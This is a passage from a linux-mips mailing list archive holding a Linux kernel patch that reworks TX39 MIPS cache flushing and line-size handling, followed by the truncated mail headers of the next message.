+		if (cpu_has_dc_aliases || exec)
+			tx39_blast_dcache_page(page);
 		if (exec)
 			tx39_blast_icache_page(page);
 
@@ -200,7 +227,8 @@
 	 * to work correctly.
 	 */
 	page = (KSEG0 + (page & (dcache_size - 1)));
-	tx39_blast_dcache_page_indexed(page);
+	if (cpu_has_dc_aliases || exec)
+		tx39_blast_dcache_page_indexed(page);
 	if (exec)
 		tx39_blast_icache_page_indexed(page);
 }
@@ -212,7 +240,45 @@
 
 static void tx39_flush_icache_range(unsigned long start, unsigned long end)
 {
-	flush_cache_all();
+	unsigned long dc_lsize = current_cpu_data.dcache.linesz;
+	unsigned long addr, aend;
+
+	if (end - start > dcache_size)
+		tx39_blast_dcache();
+	else {
+		addr = start & ~(dc_lsize - 1);
+		aend = (end - 1) & ~(dc_lsize - 1);
+
+		while (1) {
+			/* Hit_Writeback_Inv_D */
+			protected_writeback_dcache_line(addr);
+			if (addr == aend)
+				break;
+			addr += dc_lsize;
+		}
+	}
+
+	if (end - start > icache_size)
+		tx39_blast_icache();
+	else {
+		unsigned long flags, config;
+		addr = start & ~(dc_lsize - 1);
+		aend = (end - 1) & ~(dc_lsize - 1);
+		/* disable icache (set ICE#) */
+		local_irq_save(flags);
+		config = read_c0_conf();
+		write_c0_conf(config & ~TX39_CONF_ICE);
+		TX39_STOP_STREAMING();
+		while (1) {
+			/* Hit_Invalidate_I */
+			protected_flush_icache_line(addr);
+			if (addr == aend)
+				break;
+			addr += dc_lsize;
+		}
+		write_c0_conf(config);
+		local_irq_restore(flags);
+	}
 }
 
 /*
@@ -224,12 +290,22 @@
  */
 static void tx39_flush_icache_page(struct vm_area_struct *vma, struct page *page)
 {
-	if (vma->vm_flags & VM_EXEC) {
-		unsigned long addr = (unsigned long) page_address(page);
+	unsigned long addr;
+	/*
+	 * If there's no context yet, or the page isn't executable, no icache
+	 * flush is needed.
+	 */
+	if (!(vma->vm_flags & VM_EXEC))
+		return;
 
-		tx39_blast_dcache_page(addr);
-		tx39_blast_icache();
-	}
+	addr = (unsigned long) page_address(page);
+	tx39_blast_dcache_page(addr);
+
+	/*
+	 * We're not sure of the virtual address(es) involved here, so
+	 * we have to flush the entire I-cache.
+	 */
+	tx39_blast_icache();
 }
 
 static void tx39_dma_cache_wback_inv(unsigned long addr, unsigned long size)
@@ -245,13 +321,13 @@
 	} else if (size > dcache_size) {
 		tx39_blast_dcache();
 	} else {
-		int lsize = dcache_lsize;
-		a = addr & ~(lsize - 1);
-		end = (addr + size - 1) & ~(lsize - 1);
+		unsigned long dc_lsize = current_cpu_data.dcache.linesz;
+		a = addr & ~(dc_lsize - 1);
+		end = (addr + size - 1) & ~(dc_lsize - 1);
 		while (1) {
 			flush_dcache_line(a); /* Hit_Writeback_Inv_D */
 			if (a == end) break;
-			a += lsize;
+			a += dc_lsize;
 		}
 	}
 }
@@ -269,73 +345,66 @@
 	} else if (size > dcache_size) {
 		tx39_blast_dcache();
 	} else {
-		int lsize = dcache_lsize;
-		a = addr & ~(lsize - 1);
-		end = (addr + size - 1) & ~(lsize - 1);
+		unsigned long dc_lsize = current_cpu_data.dcache.linesz;
+		a = addr & ~(dc_lsize - 1);
+		end = (addr + size - 1) & ~(dc_lsize - 1);
 		while (1) {
 			invalidate_dcache_line(a); /* Hit_Invalidate_D */
 			if (a == end) break;
-			a += lsize;
+			a += dc_lsize;
 		}
 	}
 }
 
-static void tx39_dma_cache_wback(unsigned long addr, unsigned long size)
-{
-	panic("tx39_dma_cache called - should not happen.");
-}
-
 static void tx39_flush_cache_sigtramp(unsigned long addr)
 {
+	unsigned long ic_lsize = current_cpu_data.icache.linesz;
+	unsigned long dc_lsize = current_cpu_data.dcache.linesz;
 	unsigned long config;
 	unsigned long flags;
 
-	protected_writeback_dcache_line(addr & ~(dcache_lsize - 1));
+	protected_writeback_dcache_line(addr & ~(dc_lsize - 1));
 
 	/* disable icache (set ICE#) */
 	local_irq_save(flags);
 	config = read_c0_conf();
 	write_c0_conf(config & ~TX39_CONF_ICE);
-	protected_flush_icache_line(addr & ~(icache_lsize - 1));
+	TX39_STOP_STREAMING();
+	protected_flush_icache_line(addr & ~(ic_lsize - 1));
 	write_c0_conf(config);
 	local_irq_restore(flags);
 }
 
-/* currently clear_user_page/copy_user_page needs this... */
-void __flush_dcache_all(void)
-{
-	if (current_cpu_data.cputype != CPU_TX3912)
-		tx39_blast_dcache();
-}
-
 static __init void tx39_probe_cache(void)
 {
 	unsigned long config;
 
 	config = read_c0_conf();
 
-	icache_size = 1 << (10 + ((config >> 19) & 3));
-	dcache_size = 1 << (10 + ((config >> 16) & 3));
+	icache_size = 1 << (10 + ((config & TX39_CONF_ICS_MASK) >>
+				  TX39_CONF_ICS_SHIFT));
+	dcache_size = 1 << (10 + ((config & TX39_CONF_DCS_MASK) >>
+				  TX39_CONF_DCS_SHIFT));
 
-	icache_lsize = 16;
+	current_cpu_data.icache.linesz = 16;
 	switch (current_cpu_data.cputype) {
 	case CPU_TX3912:
 		current_cpu_data.icache.ways = 1;
 		current_cpu_data.dcache.ways = 1;
-		dcache_lsize = 4;
+		current_cpu_data.dcache.linesz = 4;
 		break;
 
 	case CPU_TX3927:
 		current_cpu_data.icache.ways = 2;
 		current_cpu_data.dcache.ways = 2;
-		dcache_lsize = 16;
+		current_cpu_data.dcache.linesz = 16;
 		break;
 
 	case CPU_TX3922:
 	default:
 		current_cpu_data.icache.ways = 1;
 		current_cpu_data.dcache.ways = 1;
-		dcache_lsize = 16;
+		current_cpu_data.dcache.linesz = 16;
 		break;
 	}
 }
@@ -382,7 +451,7 @@
 		/* board-dependent init code may set WBON */
 
 		_flush_cache_all = tx39_flush_cache_all;
-		___flush_cache_all = tx39_flush_cache_all;
+		___flush_cache_all = tx39___flush_cache_all;
 		_flush_cache_mm = tx39_flush_cache_mm;
 		_flush_cache_range = tx39_flush_cache_range;
 		_flush_cache_page = tx39_flush_cache_page;
@@ -393,7 +462,7 @@
 		_flush_data_cache_page = tx39_flush_data_cache_page;
 
 		_dma_cache_wback_inv = tx39_dma_cache_wback_inv;
-		_dma_cache_wback = tx39_dma_cache_wback;
+		_dma_cache_wback = tx39_dma_cache_wback_inv;
 		_dma_cache_inv = tx39_dma_cache_inv;
 
 		shm_align_mask = max_t(unsigned long,
@@ -406,17 +475,19 @@
 	icache_way_size = icache_size / current_cpu_data.icache.ways;
 	dcache_way_size = dcache_size / current_cpu_data.dcache.ways;
 
-	current_cpu_data.icache.sets = icache_way_size / icache_lsize;
-	current_cpu_data.dcache.sets = dcache_way_size / dcache_lsize;
+	current_cpu_data.icache.sets =
+		icache_way_size / current_cpu_data.icache.linesz;
+	current_cpu_data.dcache.sets =
+		dcache_way_size / current_cpu_data.dcache.linesz;
 
-	current_cpu_data.icache.sets = icache_way_size / icache_lsize;
-	current_cpu_data.dcache.sets = dcache_way_size / dcache_lsize;
+	if (dcache_way_size > PAGE_SIZE)
+		current_cpu_data.dcache.flags |= MIPS_CACHE_ALIASES;
 
 	current_cpu_data.icache.waybit = 0;
 	current_cpu_data.dcache.waybit = 0;
 
-	printk("Primary instruction cache %dkb, linesize %d bytes\n",
-		(int) (icache_size >> 10), (int) icache_lsize);
-	printk("Primary data cache %dkb, linesize %d bytes\n",
-		(int) (dcache_size >> 10), (int) dcache_lsize);
+	printk("Primary instruction cache %ldkb, linesize %d bytes\n",
+		icache_size >> 10, current_cpu_data.icache.linesz);
+	printk("Primary data cache %ldkb, linesize %d bytes\n",
+		dcache_size >> 10, current_cpu_data.dcache.linesz);
 }
---
Atsushi Nemoto

From drow@false.org Mon Apr 21 14:19:31 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 21 Apr 2003 14:19:32 +0100 (BST)
Received: from crack.them.org ([IPv6:::ffff:65.125.64.184]:17619 "EHLO
	crack.them.org") by linux-mips.org with ESMTP id <S8225073AbTDUNTb>;
	Mon, 21 Apr 2003 14:19:31 +0100
Receive